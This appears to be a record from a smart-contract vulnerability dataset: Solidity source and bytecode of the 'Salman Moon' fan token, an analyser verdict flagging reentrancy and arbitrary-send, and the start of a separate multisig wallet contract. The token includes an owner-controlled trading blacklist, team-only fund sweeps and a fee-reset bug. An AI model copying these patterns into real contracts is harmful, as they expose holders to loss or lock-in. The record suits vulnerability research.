/* Salman Moon Token Fan token of legendary actor SALMAN KHAN - https://en.wikipedia.org/wiki/Salman_Khan $SALMAN Telegram: https://t.me/salmanmoontoken ...:::::::... ..:--==--------------==--::. .:-=----------------------------=--:. .:-=-----------================----------=-. :-=---------==+++++++++++++++++++++====-------=-. .-=--------==++++++++++++++++++++++++++++++==--------: .-=-----:-=+++++++++++====####%%#*####*+++++++++==------=: -=-----:-=++++++++=========*%#%#%#%###@@@@#*++++++++==-----=: :=-----:-=++++++=---=====++##*%%@%@*%%@#@@@@@@@%**++++++==------. -=----::=++++++=:.:-=++++*%%#%%%@%@%%%%@%@@@@@@@@@%##*+++++==----=: .=-----:=++++++++..:=++*###%%+%%*@##@@%@@@%@@@@@@@@@@####++++++=----=- .=----::=++++++++-.-=#%%@@@%%%*@*%#*@%@@@@%@@@@@@@@@@@%###*+++++++=----- .=----::=+++++++++:.-*%@@%*+*#%#@#%%#%%@@@@@@@@@@@@@@@@@####++++++++=---=: =----::=++++++++++..=*%@*......=%%@@@@@%##*+=-=#@@@@@@@@####+++++++++=---=. :=----:=++++++++++=.:==#@=.....:---=====--------=%@@@@@@@###*++++++++++=---= =----:-+++++++++++=.-==*%*....------------------=%@@@@@@%##*++++++++++++---=: :=----:+++++++++++++:-=+#@%:..:[email protected]@@@@@@###*++++++++++++=---= =----:-+++++++++++++==+#%%=...-------------------*%@@@@@#*###*++++++++++++---=. =----:=++++++++++++=-+*%%:....=--------------===---*%@@*+=###*++++++++++++----: =----.=++++++++++++=--*%+..:-*###*+---=--=*#%#*++=+*#@%=++###+++++++++++++=---- .=----.=******+++++++===*=..:=+##**#*+--++***##*+=+***@*+=+###*++++++++++++=---- =----.=##****+++#*++--*:...+-=*#***++--=*+++*#++==***@=*==###*+*#+++#*+**+----- =----:=**++##++#*#*+-=+-....:+++=--==--=*=-====---=**%++=###*+*#*#++#+##*+---=: -----::+***+++++++*++---....-------=:---==---------+**-=+###++++++++*++++=---=. .=----:=+++++++++++++=:.....-------:-=---+=-------=***+*#++++++++++++++++----= -----::+++++++++++++++=-...:-----=++==+*+=--------+**##*+++++++++++++++=---=. =----:-++++++++++++++++:...:-------=+=-----------=**##++++++++++++++++----- :=----:=+++++++++++++++=....:-------+=-----------=#+###++++++++++++++----= ------:=+++++++++++++++=:...--=++=+++++++*------**==*###*++++++++++----= -=----:-+++++++++++++++=...--=--=++++=-------=*#+=--=###++++++++=----=. :=-----:=++++++++++++++:..:---======-------=##=+=--+#*++++++++=----= .=-----:-+++++++++++++-..::-------------=*#*=++-=++++++++++=----=- -=-----:-+++++++++++=..:-=----------+*#*=-===++++++++++==----=. .-=-------=+++++++++:.:-=+++++++****+=-==+++++++++++=-----=: .-=--------=++++++-..-----=====--===+++++++++++==-----=: .-=---------==++=:.:----=====++++++++++++===-----==: :-=-----------===++++++++++++++=====-------==-. .-==---------------------------------=-:. .:--=----------------------==--:. ..::-----=====-----::. */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SalmanMoon is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Salman Moon"; string private constant _symbol = "SALMAN"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d7578063a9059cbb14610306578063c3c8cd8014610326578063d543dbeb1461033b578063dd62ed3e1461035b57600080fd5b80636fc3eaec1461026557806370a082311461027a578063715018a61461029a5780638da5cb5b146102af57600080fd5b806323b872dd116100dc57806323b872dd146101d4578063293230b8146101f4578063313ce567146102095780635932ead1146102255780636b9990531461024557600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461018057806318160ddd146101b057600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118a1565b6103a1565b005b34801561014657600080fd5b5060408051808201909152600b81526a29b0b636b0b71026b7b7b760a91b60208201525b60405161017791906119e5565b60405180910390f35b34801561018c57600080fd5b506101a061019b366004611876565b61044e565b6040519015158152602001610177565b3480156101bc57600080fd5b5066038d7ea4c680005b604051908152602001610177565b3480156101e057600080fd5b506101a06101ef366004611836565b610465565b34801561020057600080fd5b506101386104ce565b34801561021557600080fd5b5060405160098152602001610177565b34801561023157600080fd5b50610138610240366004611968565b61088d565b34801561025157600080fd5b506101386102603660046117c6565b6108d5565b34801561027157600080fd5b50610138610920565b34801561028657600080fd5b506101c66102953660046117c6565b61094d565b3480156102a657600080fd5b5061013861096f565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610177565b3480156102e357600080fd5b5060408051808201909152600681526529a0a626a0a760d11b602082015261016a565b34801561031257600080fd5b506101a0610321366004611876565b6109e3565b34801561033257600080fd5b506101386109f0565b34801561034757600080fd5b506101386103563660046119a0565b610a26565b34801561036757600080fd5b506101c66103763660046117fe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d45760405162461bcd60e51b81526004016103cb90611a38565b60405180910390fd5b60005b815181101561044a576001600a600084848151811061040657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044281611b4b565b9150506103d7565b5050565b600061045b338484610af7565b5060015b92915050565b6000610472848484610c1b565b6104c484336104bf85604051806060016040528060288152602001611bb6602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061102d565b610af7565b5060019392505050565b6000546001600160a01b031633146104f85760405162461bcd60e51b81526004016103cb90611a38565b600f54600160a01b900460ff16156105525760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103cb565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058d308266038d7ea4c68000610af7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c657600080fd5b505afa1580156105da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fe91906117e2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064657600080fd5b505afa15801561065a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067e91906117e2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c657600080fd5b505af11580156106da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fe91906117e2565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072e8161094d565b6000806107436000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a657600080fd5b505af11580156107ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107df91906119b8565b5050600f805465048c2739500060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085557600080fd5b505af1158015610869573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044a9190611984565b6000546001600160a01b031633146108b75760405162461bcd60e51b81526004016103cb90611a38565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108ff5760405162461bcd60e51b81526004016103cb90611a38565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094057600080fd5b4761094a81611067565b50565b6001600160a01b03811660009081526002602052604081205461045f906110ec565b6000546001600160a01b031633146109995760405162461bcd60e51b81526004016103cb90611a38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045b338484610c1b565b600c546001600160a01b0316336001600160a01b031614610a1057600080fd5b6000610a1b3061094d565b905061094a81611170565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016103cb90611a38565b60008111610aa05760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103cb565b610abc6064610ab666038d7ea4c6800084611315565b90611394565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103cb565b6001600160a01b038216610bba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103cb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103cb565b6001600160a01b038216610ce15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103cb565b60008111610d435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103cb565b6000546001600160a01b03848116911614801590610d6f57506000546001600160a01b03838116911614155b15610fd057600f54600160b81b900460ff1615610e56576001600160a01b0383163014801590610da857506001600160a01b0382163014155b8015610dc25750600e546001600160a01b03848116911614155b8015610ddc5750600e546001600160a01b03838116911614155b15610e5657600e546001600160a01b0316336001600160a01b03161480610e165750600f546001600160a01b0316336001600160a01b0316145b610e565760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103cb565b601054811115610e6557600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ea757506001600160a01b0382166000908152600a602052604090205460ff16155b610eb057600080fd5b600f546001600160a01b038481169116148015610edb5750600e546001600160a01b03838116911614155b8015610f0057506001600160a01b03821660009081526005602052604090205460ff16155b8015610f155750600f54600160b81b900460ff165b15610f63576001600160a01b0382166000908152600b60205260409020544211610f3e57600080fd5b610f4942600a611add565b6001600160a01b0383166000908152600b60205260409020555b6000610f6e3061094d565b600f54909150600160a81b900460ff16158015610f995750600f546001600160a01b03858116911614155b8015610fae5750600f54600160b01b900460ff165b15610fce57610fbc81611170565b478015610fcc57610fcc47611067565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101257506001600160a01b03831660009081526005602052604090205460ff165b1561101b575060005b611027848484846113d6565b50505050565b600081848411156110515760405162461bcd60e51b81526004016103cb91906119e5565b50600061105e8486611b34565b95945050505050565b600c546001600160a01b03166108fc611081836002611394565b6040518115909202916000818181858888f193505050501580156110a9573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110c4836002611394565b6040518115909202916000818181858888f1935050505015801561044a573d6000803e3d6000fd5b60006006548211156111535760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103cb565b600061115d611402565b90506111698382611394565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111c657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121a57600080fd5b505afa15801561122e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125291906117e2565b8160018151811061127357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112999130911684610af7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112d2908590600090869030904290600401611a6d565b600060405180830381600087803b1580156112ec57600080fd5b505af1158015611300573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113245750600061045f565b60006113308385611b15565b90508261133d8583611af5565b146111695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103cb565b600061116983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611425565b806113e3576113e3611453565b6113ee848484611476565b80611027576110276005600855600a600955565b600080600061140f61156d565b909250905061141e8282611394565b9250505090565b600081836114465760405162461bcd60e51b81526004016103cb91906119e5565b50600061105e8486611af5565b6008541580156114635750600954155b1561146a57565b60006008819055600955565b600080600080600080611488876115ab565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114ba9087611608565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114e9908661164a565b6001600160a01b03891660009081526002602052604090205561150b816116a9565b61151584836116f3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155a91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c680006115878282611394565b8210156115a25750506006549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006115c88a600854600954611717565b92509250925060006115d8611402565b905060008060006115eb8e878787611766565b919e509c509a509598509396509194505050505091939550919395565b600061116983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102d565b6000806116578385611add565b9050838110156111695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103cb565b60006116b3611402565b905060006116c18383611315565b306000908152600260205260409020549091506116de908261164a565b30600090815260026020526040902055505050565b6006546117009083611608565b600655600754611710908261164a565b6007555050565b600080808061172b6064610ab68989611315565b9050600061173e6064610ab68a89611315565b90506000611756826117508b86611608565b90611608565b9992985090965090945050505050565b60008080806117758886611315565b905060006117838887611315565b905060006117918888611315565b905060006117a3826117508686611608565b939b939a50919850919650505050505050565b80356117c181611b92565b919050565b6000602082840312156117d7578081fd5b813561116981611b92565b6000602082840312156117f3578081fd5b815161116981611b92565b60008060408385031215611810578081fd5b823561181b81611b92565b9150602083013561182b81611b92565b809150509250929050565b60008060006060848603121561184a578081fd5b833561185581611b92565b9250602084013561186581611b92565b929592945050506040919091013590565b60008060408385031215611888578182fd5b823561189381611b92565b946020939093013593505050565b600060208083850312156118b3578182fd5b823567ffffffffffffffff808211156118ca578384fd5b818501915085601f8301126118dd578384fd5b8135818111156118ef576118ef611b7c565b8060051b604051601f19603f8301168101818110858211171561191457611914611b7c565b604052828152858101935084860182860187018a1015611932578788fd5b8795505b8386101561195b57611947816117b6565b855260019590950194938601938601611936565b5098975050505050505050565b600060208284031215611979578081fd5b813561116981611ba7565b600060208284031215611995578081fd5b815161116981611ba7565b6000602082840312156119b1578081fd5b5035919050565b6000806000606084860312156119cc578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a11578581018301518582016040015282016119f5565b81811115611a225783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611abc5784516001600160a01b031683529383019391830191600101611a97565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611af057611af0611b66565b500190565b600082611b1057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b2f57611b2f611b66565b500290565b600082821015611b4657611b46611b66565b500390565b6000600019821415611b5f57611b5f611b66565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094a57600080fd5b801515811461094a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200f2704f02887d6b457f284697f328c4cb3f05b47f2a37df50d99051cb0b4cb3064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
492
0x3442bF71687874FBe7cB1bF3b166CC9345b46f17
pragma solidity ^0.4.4; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="364542535057581851535944515376555958455358454f4518585342">[email&#160;protected]</a>> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, 